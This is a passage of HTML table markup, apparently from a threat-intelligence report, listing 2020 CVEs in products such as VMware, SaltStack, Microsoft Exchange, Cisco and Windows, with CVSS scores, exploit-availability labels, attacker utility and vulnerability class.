windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="94" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3950</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware Fusion Local Privilege Escalation (Incomplete  Patch)</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-25592</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt Authentication Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3952</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware vCenter Server/vmdir Information Disclosure</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16846</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt Command Injection</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16952</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft SharePoint Authenticated Remote Code  Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16875</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server DLP Policy Remote Code  Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.4</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8209</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix XenMobile Server File Disclosure</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.5</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">File enumeration</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3187</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Adaptive Security Appliance/Firepower Threat  Defense Path Traversal</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.1</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">File enumeration</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5135</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SonicWall SonicOS Portal Buffer Overflow</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.4</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-2021</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Palo Alto Networks PAN-OS SAML Authentication Bypass  and Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14500</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Secomea GateManager Unauthenticated Remote Code  Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16898</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows TCP/IP Remote Code Execution &#34;Bad  Neighbor&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-26085</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Jabber Remote Code Execution Patch Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3495</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Jabber XHTML-IM XSS &amp; Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17008</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">splWOW64 Elevation of Privilege Patch Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">TBD</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1170</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Defender Local Privilege Escalation</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1337</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Print Spooler Service Arbitrary File Write  &#34;PrintDemon&#34; Patch Bypass #1</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-6926</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">HP Device Manager Remote Method Invocation/Backdoor  Database User</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0609</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Remote Desktop Gateway Remote Code Execution  &#34;BlueGate&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17132</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server DLP Policy Remote Code  Execution Patch Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.4</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" 